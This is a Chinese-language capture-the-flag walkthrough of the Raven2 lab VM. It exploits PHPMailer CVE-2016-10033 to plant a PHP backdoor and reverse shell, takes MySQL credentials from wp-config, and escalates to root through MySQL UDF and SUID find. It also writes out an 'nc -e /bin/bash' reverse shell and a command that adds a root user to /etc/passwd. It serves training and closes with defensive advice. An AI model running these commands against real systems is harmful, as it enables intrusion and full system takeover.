No.3-红队渗透项目:Raven2
字数 1395 2025-08-19 12:42:24
Raven2 渗透测试实战教学文档
1. 环境准备
- 攻击机: Kali Linux
- 目标机: IP地址 192.168.111.132 (VMware虚拟机)
- 工具准备: nmap, dirb, searchsploit, nc (netcat), gcc, mysql客户端
2. 信息收集阶段
2.1 网络扫描
nmap -sP 192.168.111.0/24 # 发现目标IP
nmap 192.168.111.132 -p- # 全端口扫描
2.2 Web目录枚举
dirb http://192.168.111.132
发现关键路径:
http://192.168.111.132/vendor/- 包含flag文件http://192.168.111.132/contact.php- PHPMailer漏洞点
3. Web渗透
3.1 获取flag1
- 访问
http://192.168.111.132/vendor/path - 获得flag1:
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
3.2 PHPMailer漏洞利用(CVE-2016-10033)
- 发现PHPMailer版本为5.2.16
- 搜索漏洞利用代码:
searchsploit 40974 cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/Desktop/ - 修改exp文件关键参数:
- 第41行: 目标URL
http://192.168.111.132/contact.php - 第42行: 后门名称
/dayu.php - 第44行: 监听IP和端口
192.168.111.128 6666 - 第47行: shell写入路径
/var/www/html/dayu.php
- 第41行: 目标URL
- 执行exp:
python3 40974.py - 访问触发页面:
http://192.168.111.132/contact.php - 开启监听并访问后门:
nc -vlp 6666 http://192.168.111.132/dayu.php
3.3 获取flag2和flag3
- 提升shell交互性:
python -c 'import pty; pty.spawn("/bin/bash")' - 查找flag文件:
find / -name flag* - 发现flag路径:
/var/www/flag2.txt/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
- 获取flag2:
输出:cat /var/www/flag2.txtflag2{6a8ed560f0b5358ecf844108048eb337} - 获取flag3:
浏览器访问http://192.168.111.132/wordpress/wp-content/uploads/2018/11/flag3.png
4. WordPress数据库信息收集
- 查找WordPress配置文件:
grep "password" -rn wp-config.php - 获取数据库凭据:
/** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'R@v3nSecurity');
5. MySQL提权
5.1 环境检查
- 登录MySQL:
mysql -u root -pR@v3nSecurity - 检查MySQL版本和权限:
select version(); select user,host from user; - 检查安全设置:
show global variables like 'secure%'; show variables like '%plugin%';
5.2 UDF提权准备
- 搜索并编译UDF提权代码:
searchsploit 1518 cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop/ gcc -g -c 1518.c gcc -g -shared -o dayu.so 1518.o -lc - 传输so文件到目标:
# 攻击机开启HTTP服务 python3 -m http.server 8081 # 目标机下载 wget 192.168.111.128:8081/dayu.so -O /tmp/dayu.so
5.3 UDF提权执行
- MySQL中执行:
use mysql; create table dayu(line blob); insert into dayu values(load_file('/tmp/dayu.so')); select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so'; create function do_system returns integer soname 'dayu.so'; select * from mysql.func; # 验证函数创建 - 赋予find命令SUID权限:
select do_system('chmod u+s /usr/bin/find'); - 利用find提权:
touch dayu find dayu -exec "/bin/sh" \; - 获取root权限后查找flag4:
输出:find / -name flag* cat /path/to/flag4flag4{df2bc5e951d91581467bb9a2a8ff4425}
6. 拓展技术
6.1 反弹shell替代方案
select do_system('nc -nv 192.168.111.128 6677 -e /bin/bash');
6.2 稳定shell会话
python -c 'import pty; pty.spawn("/bin/bash")'
# 按Ctrl+Z
stty raw -echo
fg
6.3 添加root用户
openssl passwd dayu # 生成密码hash
select do_system('echo "dayu:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');
su dayu
7. 关键知识点总结
- 信息收集: nmap扫描、目录枚举
- 漏洞利用: PHPMailer CVE-2016-10033
- 权限提升: MySQL UDF提权技术
- 后渗透: 稳定shell、添加用户等技术
- 防御建议:
- 及时更新PHPMailer版本
- 限制MySQL文件操作权限(secure_file_priv)
- 避免MySQL以root权限运行
- 定期检查系统SUID权限文件